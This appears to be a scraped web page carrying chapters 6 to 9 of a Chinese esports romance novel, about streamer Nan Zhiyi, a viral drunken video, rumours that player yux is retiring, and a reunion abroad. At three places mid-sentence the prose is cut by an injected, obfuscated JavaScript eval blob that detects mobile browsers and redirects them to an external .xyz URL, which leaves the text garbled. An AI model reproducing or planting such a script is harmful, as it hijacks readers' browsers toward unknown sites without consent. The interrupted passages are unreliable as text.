不用想就知道，大概率还是因为之前得罪了yux的粉丝。 黑头发的男生闻言，顿时涨红了脸。 他放在桌上的手攥成了拳头，可周围的人这会都在看着他笑，仿佛他是这个群体里唯一的异类。 却在这时，旁边有人开了口：“他说的有什么问题吗？” 桌上突然安静了。 南知意已经放下了筷子。他今天穿着常服，也没有化妆，头顶的短发有点蓬乱，安静坐在自己位置上的时候宛如一只无害的动物。 就算开口说话，口吻也是温温和和的。 他看着汤圆：“决赛输了，是因为yux没carry吗？” 方才那几个带头笑开的主播此刻都面面相觑起来。 黑头发的男生松开了拳头。他感激地看了南知意一眼。 汤圆也愣住了，明显没料到南知意会来这一出。 半晌，他突然大笑起来，一副没皮没脸的模样：“哈哈哈，搞半天，结果闹了个大乌龙！意哥，那群粉丝天天带你节奏，我还以为你和小游神关系不好呢！” “来来来，都给我把酒满上。”汤圆站起身来，招呼另外几人，“意哥，我们敬你一杯啊，刚才说的那些话你千万别放在心上！” 南知意皱眉：“不用了，我不喝酒。你说的我也没放在心上。” 汤圆有点被不上不下地架住了。 “……哎呀，过年嘛，该行乐时得行乐！”他只得硬着头皮继续装没事人，飞快给自己满上了，“各位，这杯兄弟我先干了！” 南知意坐在座位上，没动。 汤圆仰头干了杯里的酒，尴尬地杵在原地，站也不是，坐也不是。 他不动，南知意也继续不动。 终于。 “小意？” 有人在背后拍了拍他，打破了僵局。 南知意回过身去，丽姐来的时机刚刚好，她端着酒杯站在他后面：“你跟我来一下。” 汤圆一怔，盯着他露出了探究的眼神。 张丽把南知意从饭桌上领走了。 “刚才那是那个叫汤圆的吧，千年公会的？”她低声问，“你们闹不愉快了吗？” 南知意努力把汤圆的话甩在脑后。他笑起来：“没事的姐，一点小事。” “没事就好。”张丽点点头，“你跟我来……大老板点名要见你呢。” 张丽带着他在会场绕了一圈，最后在一个留着金色长发、西装革履的男人背后停住了脚步。 她快速切换出一脸的笑靥如花，开口叫道：“尤少。” 男人闻言，转过身来。 ——南知意没有一丁点的防备。 看清男人脸的那一瞬间，他感觉自己被人当头重重敲了一棒。 “这是尤少，尤青。你肯定认识他吧？大明星。”张丽笑吟吟地对着南知意介绍道，“CG的新投资人，去年还受邀当过比赛的解说嘉宾。” 说完，又对着尤青介绍道：“尤少，这是小意。” 尤青一副对南知意很感兴趣的模样，眯了眯那双狭长的狐狸眼：“你好。” 过了很久，才得到一个有点僵硬的回答：“……你好。” 尤青笑了：“小朋友看起来有点怕我啊。” 他说话的语气很随和，但过于立体的五官乃至气场看起来却很有攻击性。但与此同时，又偏偏长了一双很多情的眼睛。 南知意在网上看过他的粉丝大片大片地控场夸他，文案里把他称作“国民第一深情眼”。 但他始终觉得，凡是真正认识尤青的人，绝对不会把他和“深情”二字挂上勾。 ——尤青，年少成名，15岁时就已出演知名大导拍摄的电影，最近似乎隐隐有想跨界投资的趋势，前不久高调宣布成为CG战队永恒再临分部合伙人。 隔着半张桌子，尤青与他对视着。南知意没有躲开他的目光，他咬住了自己的嘴唇，一言不发。 张丽见状，虽不明白发生了什么，但还是本能地维护了下自己手里的主播：“小孩子没见过世面，第一次见平时在电视里才能见到的人，肯定紧张。” 尤青弯了弯嘴角，不置可否。 他也对张丽笑：“我有点话想和他单独聊聊。拜托了。” 张丽离开后，尤青从桌上取了个空酒杯，往里面斟了大半杯的葡萄酒，递到南知意面前：“要喝吗？” “不用了。” 张丽一走，南知意便彻底不再掩饰自己的表情。 他眉头紧蹙：“你想和我聊什么？” “别这么见外嘛，又不是什么陌生人。”尤青自顾自地收回了手，举杯浅酌一口，似乎全然没有被他的语气冒犯，“你见到我，难道就一点都不好奇、没有任何问题想问我吗？” “比如？” “比如，”尤青的语气轻巧地一顿，“我们的yux选手现在在哪，正在做什么，又为什么突然消失了这么长时间。” 南知意承认对方吊住了他的胃口。 “……你知道？” “我当然知道呀，我现在好歹也算是CG的小半个老板。”尤青说，“他应该没有告诉过你吧？不对，我猜他应该不好意思告诉你。” “——他打算退役了，你知道吗？” 面前的人嘴唇一张一合。南知意猜他刚才一定是讲了一个天大的笑话，因为他发现自己的嘴角控制不住地想要上扬。 退役？谁？yux？ ……未免有些太可笑了吧？ “我就知道你肯定不相信。”尤青很仔细地观察了一下他的表情，随后把酒杯放在一旁，从衣袋里拿出手机，解锁屏幕，“你可以自己看看他是怎么说的。” 他把手机放在南知意面前，屏幕上是一段短信的聊天记录。 联系人备注上，赫然写着【我的好弟弟】。 -其实你说得很对，我确实没有什么再打下去的必要了。我的生活里有很多条路可以走，不仅仅只有职业这一条。 -我从来不需要一个世界冠军来证明我人生的意义。 -那么恭喜你啊，终于看清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345652|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了生活的真相 -别回复我了。 -你让我觉得恶心。 - 南知意忘记自己是怎么绕过大半个会场、走回到自己座位上的了。他在位置上坐下后就发起了呆。期间好像有人在对他说话，但是他一个字都没有听清楚。 过了一会，他发现自己的面前摆着一个酒瓶，内容物空了大半。 陶星不知道什么时候坐到了他的旁边，关切地看着他。她好几次想说什么，却都欲言又止。 …… 南知意回到家后的第一反应就是想吐。 他摇摇晃晃地上了二楼，回到自己的房间，冲进厕所，抱着马桶把胃里的东西吐了个一干二净。 第二天，他是被闹铃吵醒的。 宿醉的后遗症袭来，他的头又胀又疼。 南知意睡眼惺忪地拿起手机一看。 【闹钟，19：40——直播。】 ……他记得自己凌晨两点多的时候就到家睡下了。这一觉居然直接睡到了第二天晚上？！ 南知意一跃而起，一面在心中发誓自己再也不乱喝酒了，一面强忍着不适，飞速洗漱收拾，赶在了八点前整洁地坐在了书房的电脑前。 他先点了开启直播。 然而等他调好摄像头，再抬头看向屏幕时，发现直播间的弹幕并没有像往日一样在同他闲聊问好。 【你还有脸开直播？？真就是纯蹭啊？？】 【某人演了两年多的粉丝，这是演不下去了？露出真嘴脸了？】 【……选手休息一段时间而已，什么妖魔鬼怪都跳出来了，真当游粉都没脾气的吗】 【小意，到底是怎么回事？你能不能给我们解释一下啊？】 南知意：“……？？？” 他一脸茫然，下意识地打开手机，这才发现里面有来自“丽姐”的五个未接来电，“Pigeon”的十六个未接来电，和几百条爆炸的微信消息。 一股不详的预感浮上他的心头。 这时，最新一条短信提示冒了出来。 【丽姐：你怎么这个时候开直播？？？？？】 【丽姐：先下播。有事之后再说】 南知意隐约猜到了些什么。他点了三次才把手机上的微博点开。 还没打开热搜界面，他已经看见了自己的名字。 ——和另一个自己最不愿意一同看见的名字，并排，飘红，第不知道多少次明晃晃地挂在一起。 #天使意 yux# ……南知意实在想象不出来，这个世界上还能有什么内容再把他们联系在一起。 总不能是消失三个月的yux突然现身，手里举了一个写着“天使意”三个大字的牌子？ 深吸一口气，他点进了词条。 映入眼帘的赫然是一个已经被转发了几万条的微博。 【@电竞小乖：酒后吐真言？Stars年会爆了！千万粉丝主播直言yux就是个傻x！……】 剩下的文字内容，南知意已经没有心情去看了。 他索性戴上耳机，直接点进了最下方的视频。 视频拍摄的角度很奇怪，环境一片昏暗，但画面正中的人样貌却是清晰可辨：奶油色短发，身上披着一件蓬松的外套，看起来明显是喝多了，并没有正对着拍摄者，而是歪着头、趴在桌子上，一动不动地发着呆。 那是他自己。 周围闹哄哄的，有许多人正在交谈，但是他们的声音似乎都被做了特殊处理，透着一股奇怪的电流音。 “……我不觉得……” “……yux？他啊，他就是个……哈哈哈哈……” 忽然间，像是听到了对话中的某个关键词，南知意抬起了头。 “游辛？”他含着浓浓醉意开了口，“你们是在说游辛吗？” 周围忽然安静了一霎。而南知意全然不觉。 他忽然笑了一声：“你说得……很对啊，他就是个，坏蛋、傻逼、嗯……小王八蛋。” 说着说着，画面中的人仿佛被什么刺中了，情绪突然激动了起来。 托着脸的手垂下来，响亮地拍在桌面上，他口吻严肃、一字一顿地说道：“大混蛋。” 视频戛然而止。 视频外的南知意：“………………” 他的大脑一片空白。一股热意难以控制地，飞速在他脸上蔓延开来。 我在说什么。 我刚才……说了什么？？ 完全没有一丁点的印象…… 抬起头来，他看见了满屏幕的【？？？】【刚才是在看微博？】【这是醉断片了吧，才知道自己说什么了？】【不是，你到底在脸红什么啊？？】 “……” 南知意极其慌乱地丢开手机，捂住摄像头，逃命似的中断了这场直播。 7. 第 7 章 “如果一个人在背后骂了我，而他掏空自己的脑袋，想出来的骂人话是‘傻逼’、‘小王八蛋’和‘大混蛋’的话，我会觉得这个人特么的是在暗恋我，你能明白吗？” 南知意忧郁地趴在桌子上，手指拨弄着一根蓝色的鸟毛。 宋白羽双手叉腰，在他对面气咻咻地走来走去。 他说着说着，像是快被自己给说笑了：“‘小王八蛋’？这叫骂人吗？和猫挠痒似的！” “你知道你吃亏在什么地方吗？吃亏在你平时太有礼貌了。来，你现在打开Stars，打开游戏区，随便开一个直播，有几个主播直播的时候嘴里能不带几句爹妈？”宋白羽还在言辞激烈地分析着，“而且，恭喜你，非常地不凑巧，赶上了他yux玩人间蒸发的好时候。现在他的粉丝们憋着一股劲，正愁没地方使呢——” “尤青昨天告诉我说，yux说自己要退役了。” 南知意闷闷开口道。 “——你就这么撞人家枪口上了，等等，你说什么玩意？”宋白羽明显还在气头上，堪堪收住了自己的话头。 紧接着，他的声音猛地拔高了几个度：“谁要退役？yux？？？谁告诉你的？？” “……尤青。” “you……什么玩意？那是谁？” “CG新投资人。”南知意说，“你应该知道他吧，他去年在解说台当过嘉宾，刚好解说的是你们和HYG的那场季后赛。” 宋白羽：“……你说尤，青？演《怦然为你》的那个尤青？” 南知意有点惊讶：“想不到你还爱看这种偶像剧。” “那是我妈爱看！过年在家天天在电视里追追追。”宋白羽恼怒地说，“尤青是吧？我记得他，那个长得挺帅的男明星，金毛的——纯种傻逼一个！” “这傻逼根本看不懂比赛！他根本不玩游戏！还偏要不懂装懂！！我保护C位死了，教练都没说我什么，他来一句这个辅助在乱送？你敢信？！” “等等。”他说着，忽然话音一顿，“你的意思是，CG的新老板告诉你，yux不想打比赛了，想，退役？” 看来他终于发现了问题的关键。南知意欣慰地点点头。 宋白羽和他大眼瞪小眼地看着彼此。 “是他疯了还是我疯了？”半晌，宋白羽难以置信道，“不是，哥们，我想不明白啊？他，yux，退役？他凭什么退役？凭他去年刚拿了亚军？还是凭他今年还不到21？不是——到底凭什么啊？要是他都该退役了，那我岂不是早该收拾收拾找个电子厂打工得了？” “荒谬！”最后他一拍大腿，一锤定音道。 “……其实你说得很有道理。”南知意心不在焉地用指尖叩着桌子，“但问题在于……唉。” “如果你了解他，你就知道这真的是他能做出来的事。” 宋白羽诧异地看着他：“什么事？” “就，”南知意思索了一下措辞，“鱼死网破？” “……他和谁鱼死网破？尤青？”宋白羽纳闷道，“我知道CG的管理层好像是有点小毛病，从我哥突然说自己要退役那会就知道了……可我哥他当时好歹是断崖下滑了，yux去年一整年，哪怕决赛那个BO5，打的都没什么问题啊。” “他们至于吗？把自己没什么毛病的核心选手逼得想要退役？” “大概吧。”南知意轻轻地说，“你知道很多明星，出道用的都是艺名吗？” 话题转换得太快，宋白羽一时间没跟上他的脑回路：“你突然说这个干什么？” “‘尤青’就是一个艺名，他真名姓游，你知道我说的是哪个……”迎着宋白羽越来越震惊的目光，南知意点点头，“是的，他和yux是兄弟。亲的。” 想了想，补上一句：“同父异母。” 宋白羽慢慢地张大了嘴，又慢慢合拢。从他的眼神里，南知意能感受到他已经脑补出了八个大字：世子之争，向来如此。 “好吧。是这样的话，我大概能理解你为什么要生气了。”最后宋白羽说，“激流勇退也不是这么个退法，这个队不行就换个队呗，哪有巅峰期突然玩消失的，把支持自己的粉丝都当什么了……说实在的，我现在觉得你有点骂轻了。不，根本算不上骂，你这是顶多是恨铁不成钢，一时半会上头了。” 南知意没开口说话。那根蓝色的鸟毛随着他拨弄的动作落在了地上。 宋白羽看他这副模样，忽然也有点恨铁不成钢起来。 南知意那倒霉视频现在每秒钟都有十个营销号在转发，双方粉丝都快闹翻天了，但此时此刻，这位最关心的既不是“谁是拍摄者”，也不是“我现在该怎么办”，而是“yux到底是不是真的要退役”？ 自己当年喜欢CG.Nova的时候，也没到这么狂热的地步吧？ 就好像一接触到和对方相关的事，脑子就自动飞出去了，不存在了。 宋白羽忽然就想起，今天自己上微博时，刷到的一些奇怪的评论。 例如【天使意为什么一提到yux就那么害羞？印象中他不是这样的人啊】 另一个人回复道：【你没记错，想当年他和别人pk输了，大冒险倾情朗诵三十篇自己的同人文开头，眼睛都没多眨一下】 【昨天他直播之前我心都凉了，直播之后我直接满血复活好吗？哪有人看到自己的爆料视频是那种反应的。】 【乱中嗑一口，他还是太爱了】 作为八卦达人，他不是不知道她们在说些什么。 你别说，好像，还真有点那个意思？ 但是……不太可能吧。 真有点什么的话，他宋白羽作为对方的头号好兄弟，兼roeCN头号瓜王，不会对此一无所知的。 他倒是知道南知意有一段无疾而终的初恋，自己追问过数次对方都不肯多谈。宋白羽从只言片语中猜到那是一段学生时代的感情，而南知意对此的描述是，“那时候都不懂事，太儿戏了”。 宋白羽听后深以为然，想起自己上小学的时候也在过家家里给同桌当过“小妾”。 他这般想着，摇了摇头，试图把这些奇怪的评论从脑子里甩出去。 “所以你现在打算怎么办？澄清？道歉？”宋白羽问，“说‘因为有人告诉我yux想退役，我一时半会太生气外加喝多了所以才口不择言’？” 南知意默默地看他一眼。 很显然，但凡他真这么说了，问题只会比现在更复杂。 无解。 最后南知意往椅背上一靠，合着眼睛，揉了揉眉心的位置。 “我想休息一段时间。”他说。 “也行吧，反正你们也没什么训练任务。这事说白了也只能冷处理。”宋白羽叹了口气，“你打算怎么休息？出去旅个游什么的？” 南知意想了想：“出门转转，写写论文？我过几个月要毕业了。” 宋白羽刚喝了口水，这会差点喷出来。 “特么的我都忘了你还在上大学。”他擦了擦嘴，“没办法，我们WD一个队都凑不出一张高中毕业证。” 南知意这才露出今天第一个笑容。 宋白羽拍了拍脑袋：“这事其实挺好办的——我看我哥最近挺闲的，我问问他有没有空带你玩一段时间，你就当是出去散散心了。” “听我一句劝，好吗？这事其实和你没什么关系。别想你那yux的破事了。” - 宋白羽说到做到，替南知意联系了宋蒙又帮他买了机票，甚至连接送机的网约车都帮他订好了，再三嘱咐他要带齐各类证件，操心得仿佛他明天就要持证上岗，化身为南知意专属贴身老妈子。 出发前，南知意把自己的各类平台账号都交给了丽姐，由她的专业团队打理，附带一份他自己写的道歉声明，大意是为自己酒后失言、伤害了他人而感到抱歉。 丽姐并没有对他多加责怪，她特意发了条短信过来，嘱咐他好好休息，调整好自己的心情，别去理会网上的风言风语。 退出和丽姐的对话，南知意的手无意识地往下滑动短信界面。 他其实极少和人通过短信聊天。因而很快，他就在一大堆广告垃圾短信里，翻到了和一个备注为【[蓝心]】的人的对话框。 南知意点进对话框。 他们上上次的聊天，发生在三年前。 【1月31日 00:00】 【我：新春佳节，喜庆祥和。感谢一路相伴的朋友，愿新的一年里，我们都能拥有更多的欢笑与收获，共同迎接更美好的明天！祝福大家春节快乐，心想事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345653|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成！】 【1月31日 12:14】 【[蓝心]：新年快乐。】 而最后一次的对话，则与这段相隔不久。 【2月21日 02:36】 【我：还能再做朋友吗T T】 短信滑动到了底部，手机轻轻震动了一下。 像一块极小的石子被丢进潭水，还没来得及荡起涟漪，就已沉到了底。 …… 南知意的散心之旅并不顺利。 飞机落地后，他打开漫游，很快便收到了第一条不妙的消息。 【Meng：不好意思啊，小意，我的车出了点问题】 【Meng：在路上抛锚了】 【Meng：[图片]】 【Meng：我这儿荒郊野岭的，车也打不到。这样，我先给你一个地址，你打车去这个地方……】 到了机场外，南知意拿着宋蒙给的地址，打了辆uber。 好不容易到了目的地，他拖着行李箱下了车，突然感觉自己的兜里似乎少了什么东西。 一伸手，发现原本放着证件包的地方已是空空如也。 南知意：“……” 突然一下在异国街头成了黑户，南知意不得不给宋蒙发去微信：【我的包不见了，应该是在上车前被人偷走了，证件还在里面[哭哭.jpg]】 宋蒙立刻回复。 【Meng：别着急，你再给我发个定位，一会儿我找个朋友来接你】 【小意小意：谢谢蒙哥】 南知意打开“发送位置”，放大地图，仔细研究该如何描述清楚自己的位置。 正在这时。 “刷”的一声。 ——南知意只来得及看见一道黑影从自己身边闪过，以及感受到手上传来的极大的力道。 等他意识到自己的手机被人抢走时，这个穿得比他还保守的不速之客已经蹬着黑色自行车，以南知意这辈子都没见过的高速逃离了现场。 南知意：“……” 今年……好像……也不是他的本命年吧…… 正月才刚开了个头，怎么就已经连遭数劫…… 南知意拖着自己20寸的袖珍行李箱，一脸茫然地站在街头，人生头一回感受到了自己能否生存下去成了一个问题。 现在的他，是个没有电子设备、身无分文的黑户原始人。 就连定位也还没来得及发给宋蒙。 他只能寄希望于司机把他放下来的位置和宋蒙发给他的定位相差不远，也不敢再乱走动，只能拖着自己的行李箱走到路边，随便找了个地方蹲下，乖乖等待着有人来拯救他。 刚蹲了没一会，面前传来“叮”的一声。 南知意一抬头，发现面前的地上被人丢了一枚硬币。 “…………” 也不至于被人当成乞丐吧？！！ “哎。”他有点丧气地把头埋进臂弯，思考着如果宋蒙没找到他，自己今晚有多大的概率会露宿街头。 又过了一会，南知意感觉又有人在自己面前停下来了。 “……”该不会还要给他扔硬币吧。 南知意无法和对方交流，索性埋着头，闭着眼睛，一动不动地装死。 可对方却迟迟没有离开。 当然，也没有往他面前扔东西。 过了很久。 “南知意？”站在他面前的人不确定地叫了一声。 乍一听到自己的名字，南知意被吓了一跳。 但紧接着，他就意识到了更为恐怖的问题所在—— 这个声音，对他而言，熟悉到了有些可怕的地步。 南知意抬起头来，看见穿着黑色连帽衫和牛仔裤、打扮得像个下课路过高中生的游辛站在离他不远的正前方，怀里甚至还抱着一本书。 在对方那张这些年里表情从来一成不变的脸上，南知意第一次看见了诧异的神色。 时间仿佛过去了一个世纪那么久。 现实里，游辛面上的诧异很快被他收了回去。 “吃晚饭了吗？”他略一俯身，语气自然地发问，“饿不饿？” ——仿佛此刻在他面前的，不是那位他分手后不曾交谈、不肯再见的初恋，兼前男友。 8. 第 8 章 南知意梦游似的跟着游辛回了家。 游辛的住处是一座独栋的房子，单层，大概有个四五个单独的房间，外加一个阁楼。房子的内饰很简单，并没有很温馨的感觉，只有一点点居住的痕迹。 “……这里是你家吗？”南知意提着行李箱，站在门口，茫然地发问。 “嗯。” “租的……房子？” 游辛见他站着不动，走过来把行李箱从他手里拿走了：“家里买的。” 南知意：“…………” 他感觉自己好像不能再这么像个鹌鹑似的杵在门口了，于是向里挪动了一小步，反手把门给关上了。 “谢谢你，嗯，收留我。”好半天，南知意干巴巴地开口，“我手机在路上被人抢了。” “这里的飞车党很猖獗。” 游辛说着，看他一眼：“你不进来坐吗？” 南知意手脚不怎么协调地走到客厅里唯二的陈列——沙发——上坐下了。 他盯着自己被放在角落的箱子，后知后觉地想起手机里还有一些没来得及备份的文件和灵感记录，顿时心如刀绞：“报警的话还能追回来……吗？” “很难。”游辛说，“如果你在这里呆得久一点的话，它应该能比你先回国。” “我上次丢的那个，差不多两个月后就到华强北了。” 南知意：“…………” 他的全世界死去了。 南知意颓然倒在沙发上。现代人失去了自己的手机，和失去了自己的灵魂有什么区别。 特别是在此情此景下，他连低头假装玩手机、掩饰自己的尴尬都不行。 但这么一直装死下去也不是个办法。 南知意一边假装在看茶几上的某本书的封面，一边偷偷用余光打量着游辛。 销声匿迹三个月，这个人看起来并没有什么特别大的变化，和网上的一些传言里“人已经彻底玉玉了”的形容根本不沾边。比他基于尤青给出的信息想象出来的样子要好得多。 不穿队服的时候，他身上那股属于“yux”的生人勿近的气场消散了很多。 有好几个南知意关系不错的主播私下和他聊起游辛时，都提起自己觉得这位小游神脾气不怎么样，有点太高冷、不理人。 但在南知意看来，这顶多算的上是“装酷”——青春期没过的小毛孩的特有行为。 然后他就眼睁睁地看着“青春期没过的小毛孩”不知道从什么地方变出了一根烟，动作娴熟地塞进嘴里。 游辛摁了下打火机。他没有点烟，眼睛盯着南知意的脸：“介意吗？” 南知意不得不结束了自己的偷窥行为。 理智告诉他，对方抽不抽烟和他一点关系也没有，但最终说出口的却是：“你抽烟？” “嗯啊。” “……不是早戒了吗？” 游辛叼着烟，语气含混：“最近又想抽了。” 南知意瞪着他，一时间不知道该说什么好。 好半天，他像是下定了某种决心：“能不能不抽？” “好的。”游辛从善如流，立刻把烟和火机都收起来了。 两个人又僵持了一会。 “其实如果你有什么想问的问题，可以直接问我。”游辛忽然道。 南知意原本还在盘算着到底怎么开口，被他弄得思绪直接磕巴了一下。 “呃、那个。”他说，“你现在为什么会在这里？” 游辛：“我在这里上学。” 南知意怀疑自己耳朵出问题了。 “语言学校。”大概是看到了他脸上不加掩饰的愕然，游辛继续解释道，“我爸给我找的。因为我之前只读了一年高中，所以上完之后还要再上预科。他希望我能——” “不不不不。”南知意出声，打断了他。 他现在想听的并不是这些乱七八糟的学制解释，而是—— “游辛，你该不会是想告诉我，你是真的，打算要退役吧？” 游辛眨了眨眼。 他没有立刻回答。 “你——”南知意感到一股无名火在胸腔里乱窜，他不受控制地从沙发上站了起来，“一声不吭地就消失三个月，比赛也不上，rank也不打，跑来这种鸟不拉屎的地方你说你突然转性了要上学？你知道有多少人在担心你吗？你知道你粉丝得不到你的消息有多着急吗？游戏不上、电话关机，都有人在猜你是不是死了！” “你……你也不是小孩子了，做事之前能不能稍微带点责任心！” 南知意自己都不知道自己为什么突然发这么大的火。他的胸口起伏着，心脏一下一下地撞击着胸腔。 三个月前的总决赛仿佛就在昨天。舞台上的那个人看起来那么不甘，而现在他告诉他说，自己不想打了？ 游辛还是没有说话。 他维持着几分钟前收烟的那个姿势，手揣在兜里，没有直接和南知意对视，目光微微垂着。 好半天，竟然“扑哧”一声笑了。 “对不起。”他飞快地说。 南知意难以置信地看着他：“我说的话很好笑吗？” “没有，我不是这个意思。”游辛把手从兜里抽出来了，他嘴角动了动，像是很努力地想把自己的表情调整回严肃，但最终还是失败了，“对不起……我没想到你这么关心我。” 南知意一时间被他歪曲话题的能力震惊了。他一动不动地站在原地，视线瞪向对方。 “对不起。”游辛第三次开口道歉，他轻轻地说，“我没有要退役。这件事说来就话长了——你现在应该饿了吧？我们先吃饭，我之后再慢慢解释好吗？” 他不提还好，一提起来，南知意突然感觉自己饿得要命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345654|183514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他今天出发前就没怎么吃东西，飞机餐也只是简单动了两口。 “噢……好吧。”南知意的语气软了下来。 游辛把袖子挽起来：“冰箱里没多少东西，只能先凑合一下了。” 南知意这才意识到他说的“吃饭”是要自己动手做饭。 他连忙道：“不用麻烦了，随便叫个外卖就行。我不挑食的。” 但是游辛要做饭的念头似乎很坚决：“如果你吃过我家附近的外卖，你就不会说这句话了。” 又说：“很快，三十分钟以内。你无聊的话，书房里有书可以看。” 游辛换了身衣服，转身进了厨房，把南知意一个人留在空荡荡的客厅里。 南知意像个泄了气的皮球一样缩回沙发上。 他发了会呆，然后从茶几上摊放着的书上随便拿了一本，结果翻开一看都是些鸟语。 方才正在气头上的时候不觉得，现在回想起来，南知意觉得自己被一股无与伦比的尴尬击中了。 别人好心好意收留了他，他忽然对着人发什么脾气呢？退一百步说，就算游辛是真的不想打了，他现在是以什么身份、又有什么资格在生气呢？一个恨铁不成钢的粉丝吗？ 南知意也不知道自己这是怎么了。他平时明明不是这种容易发火的人。 “唉……”他有一搭没一搭地翻着书页，一个字都没看进去。 游辛并没有留给南知意太多可供忧郁的时间。他在厨房里进进出出几次后，香味很快在房子里弥漫开来。 伴随着最后一声碗底与桌面的撞击，游辛在另一头遥遥道：“可以吃饭了。” 南知意不得不放下书，磨磨蹭蹭地站起来。 然而他刚一转身，就被眼前的景象震住了—— 游辛站在餐桌边上，正在用湿纸巾擦手。 这很正常。 但不正常的是，他已经脱掉了方才的黑色连帽衫上衣，取而代之的是一件黑色的围裙——细细的带子挂在脖颈上，余下的部分只堪堪遮住身前的一小块地方，胸口外围、手臂乃至整个后背，肌肉线条一览无遗，一看便知道这个人有健身的习惯。 除此以外，还有一条银制的项链坠在胸口，一闪一闪的，晃南知意的眼睛。 南知意感觉自己脑子里又着火了。不过这一次不是怒火。 “你、你怎么不穿衣服啊？”他结结巴巴地发问。 游辛看了看他，又低头看了看自己。 “那件衣服吸油烟。”他面不改色地说，“不好意思，之前一个人在家习惯了。” 南知意目光在除了对方身上的所有地方乱瞟，最后下意识地落到了窗外。 他要找个理由说服对方把衣服穿回去：“现在是冬天欸……你不冷吗？” 游辛：“……” 游辛：“我去换掉。” 9. 第 9 章 继那条求和的短信石沉大海两年又十一个月之后，南知意乐观地发现：兴许他们还有再做回朋友的可能性。 至少目前看来，游辛并不讨厌自己。 游辛做了三菜一汤：番茄炒蛋，可乐鸡翅，小炒肉，外加一道三鲜汤。虽然简单，但堪称色香味俱全。 谁又会费了吧劲给讨厌的人做三菜一汤呢？ 虽然他也不知道既然对方并不讨厌自己，又为什么要在这些年里连回复一句他的消息都不肯。 南知意曾经刷到过一条推文，问大家是否还愿意和前任再做回朋友。他对这个的答案是百分之一百的“是”——虽然有且仅有一位前任做参考。只是分手而已，又不是不共戴天之仇，回到之前的关系不就好了吗？ 但很显然，游辛对这个问题的答案是“否”。 于是有时候南知意会想，是不是从一开始他就不该开始这段感情。 那么至少他们还会是朋友。 - 番茄炒蛋是甜口的，很甜，重糖，很合南知意的心意。 人一旦饿起来也就顾不得尴尬了。他往碗里添了好几勺，一口气消灭半碗饭，抬头发现对面的人似乎没有怎么动筷子，视线一直落在他身上。 南知意被他看得心底有点发毛。他又坚持吃了几筷子，终于忍不住了：“你不吃么？” “你吃吧。”游辛说着，移开了视线，随意地捞了点黄瓜片放进碗里，“我不怎么饿。” “……喔。” 南知意应了一声。他心里忽然冒出了一个念头：游辛好像从小就不怎么爱吃甜。 他又吃了几口番茄炒蛋，突然开口：“那个。” “对不起啊，刚才不该突然对你发火。”南知意小声说，“我可能有点太着急了……” 其实仔细想来，他根本也没资格指责游辛的这一番行为。且不说他并不知道游辛和CG之间到底发生了什么，单说他自己，在遇到铺天盖地的谩骂指责时，不也第一时间选择了逃避吗？ 职业选手需要承担的舆论压力比主播要大得多，一场比赛没有发挥好就能在各大平台上爹妈祭天，更何况是CG这样的豪门战队的首发核心。 游辛比他还要小两岁。要求一个刚刚20岁的人成熟地面对一切，未免有些太苛刻了。 游辛听了，没说什么，而是问：“还合胃口吗？” 南知意猛点头。 “先吃饭吧。有什么事吃完了再说。” 游辛轻描淡写地把这个话题揭过去了。一顿饭在“食不言、寝不语”的氛围中解决。 吃过饭后，南知意坚持要帮忙收拾桌子，游辛坚持不让他收拾，说家里有洗碗机，又把他赶到客厅里坐着去了。 南知意实在无事可做。正当他想着要不要认真研习一下那本书里的鸟语时，房门被人敲响了。 游辛在厨房里忙，似乎没听见。他犹豫了一下，起身走到门口看了看猫眼，发现外面站着一个年轻的当地女人，手上还牵了一根狗绳。 南知意把门打开了。 然后立刻有什么东西扑到了他的脚上。 他低头一看，发现是一条小白狗，毛绒绒的耳朵瞧着异常眼熟。 一只看起来不超过三个月大的萨摩耶。 女人见来开门的并不是房子的主人，似乎面露惊讶，但很快就露出来一副了然的神情，叽里咕噜地对南知意说了一堆话。南知意听得一头雾水，大概猜到对方是平日里替游辛遛狗的人，朝对方点头道谢，接过狗绳，把活蹦乱跳的小狗领回了家。 碰巧这时，游辛从厨房里出来。看见南知意牵着狗，他挑了挑眉：“……之前忘记告诉你了。我刚养的狗。” 南知意已经蹲下身去和狗玩开了。小狗很自来熟，扑上来欢快地舔他的手。 紧绷的情绪一下子消散了很多，他笑着问：“它叫什么名字啊？” “啃啃。”游辛说，“精力旺盛，一天不出门就拆家。我把它送去托管学校了。刚才那是学校的老师送它回家。” 南知意心说这年头连狗都要上学。 他逗狗玩了一会，自然而然地提起：“这是萨摩耶吧？我特别喜欢这个品种！我粉丝之前画画的时候，就总是把我的Q版图画成萨摩耶，我还拿来做头像了。” 